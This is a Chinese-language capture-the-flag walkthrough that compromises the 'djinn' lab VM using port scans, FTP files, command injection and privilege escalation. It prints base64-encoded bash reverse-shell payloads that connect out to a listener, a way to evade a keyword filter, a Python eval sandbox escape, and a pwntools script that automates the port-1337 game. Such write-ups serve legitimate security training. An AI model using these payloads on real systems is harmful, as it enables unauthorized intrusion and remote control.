1、找到靶機ip:192.168.0.108
這步可以不做,靶機開機的時候有顯示
2、掃描靶機端口
nmap -p- -A 192.168.0.108
21
22:過濾狀態
1337
7331
3、ftp進行連接,一共三個文件
creds.txt
nitu:81299
暫時沒看出來有什麼用
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.
提示1337端口有個遊戲,找到最後一關可以得到獎品
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
暫時看不出有什麼信息,但是這個81299重複出現不知道有用沒
4、連接1337端口,這裏是不能直接瀏覽器訪問的,可以使用kali自帶的nc進行連接,連接之後提示需要回答1000次數學運算題目,然後他會給一個禮物,這裏可以先不動,先去7331端口看看
或者直接在這裏提權到root,想看可以跳到10、(2)
5、瀏覽器訪問7331端口,首頁沒有發現什麼有用的信息
gobuster dir -u http://192.168.0.108:7331 -w /usr/share/wordlists/dirb/big.txt
掃描一下目錄
訪問genie目錄,頁面顯示403,但是有一些隱藏的東西,ctrl+a或者查看源碼就能看到
訪問wish目錄,有一個輸入框,可以執行些什麼
嘗試輸入命令執行一下,看看能不能得到結果,提交之後跳轉到上面那個頁面,乍一看可能會覺得沒有成功,其實在url上面有結果了,並且在之前隱藏東西的地方也有顯示
於是嘗試使用命令反彈shell,這裏直接使用一句話是不能可以的,顯示Wrong choice of words,猜測是有過濾
將命令進行base64編碼之後進行繞過
echo "bash -i >& /dev/tcp/192.168.0.109/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzQ0NDQgMD4mMQo=
本地開啓監聽,提交payload,反彈成功
payload:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzQ0NDQgMD4mMQo="|base64 -d|bash
6、嘗試提權到低權限,在當前目錄下的app.py文件發現一個文件路徑,查看一下得到一個用戶名和密碼
nitish:p4ssw0rdStr3r0n9
這裏是不能ssh的,因爲之前掃描的狀態是filtered,先使用python提權,然後直接在這裏su nitish切換到nitish
家目錄下查看user.txt得到第一個flag
7、執行sudo -l命令,發現可以免密使用sam身份運行genie命令
8、試試genie命令,發現僅靠提示的一些參數是沒有效果的
9、使用man genie查看更多的參數,發現一個-cmd參數
加上這個參數嘗試執行命令,發現打開了一個新的終端,id查看到現在的身份已經是sam了
10、接下來就是需要提權到root權限了,有兩種辦法
(1)繼續在這裏執行sudo -l命令,發現可以使用root身份免密執行/root/lago,執行之後就看不出什麼東西了
在自己的家目錄下發現一個.pyc文件,內容有點像剛剛執行的程序,猜測是那個python文件編譯後的文件,下載到本地進行反編譯
在這裏啓動一個Python的簡單的web服務器
python -m SimpleHTTPServer
默認端口:8000
反編譯pyc文件得到python源碼,發現運行程序後輸入2,然後輸入num即可提權成功,運行root目錄下的proof.sh,滲透結束
uncompyle6 .pyc
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
(2)從7331端口掃描結果可以看出是用的python寫的,猜測1337端口是一樣的,於是嘗試python沙箱逃逸
eval('__import__("os").system("whoami")') #查看是以什麼權限運行
eval('__import__("os").system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzU1NTUgMD4mMQo=|base64 -d|bash")') #反彈shell
11、補充
訪問1337的時候,需要使用nc,看到連接之後的界面,心裏想這不會需要pwntools吧,之前跳過了,最後做完了在這裏處理一下吧,手動回答1000次是不可能的,於是寫個腳本,測試之後發現是1001次,滲透完成驗證發現寫的確實是1001次,腳本如下
from pwn import *
r = remote("192.168.0.108",1337)
for i in range(9):
re = r.recvline()
print re
for i in range(1001):
print i
re = r.recvline(keepends=False)
print re
num_list = re.split(',')
num1 = int(num_list[0][1])
yunsuanfu = num_list[1][-2]
num2 = int(num_list[2][1])
r.recv()
if yunsuanfu == '-':
result = num1-num2
r.sendline(str(result))
if yunsuanfu == '+':
result = num1+num2
r.sendline(str(result))
if yunsuanfu == '/':
result = num1/num2
r.sendline(str(result))
if yunsuanfu == '*':
result = num1*num2
r.sendline(str(result))
print num1
print yunsuanfu
print num2
print num_list
for i in range(3):
print r.recvline()
部分源碼
得到了三個數字:1356,6784,3409,猜測是端口敲門服務,之前的22端口是filtered,應該就是用來敲開這個端口的
在靶機上驗證一下。查看靶機有沒有運行knockd,發現是active狀態,查看配置文件,也確實是這些序列號和順序,關聯的端口也是22號端口,但是我本地嘗試敲的時候沒有敲開
12、參考文章
https://lifesfun101.github.io/2019/12/07/Djinn-walkthrough.html#privilege-escalation-rooute-2
下一篇寫djinn2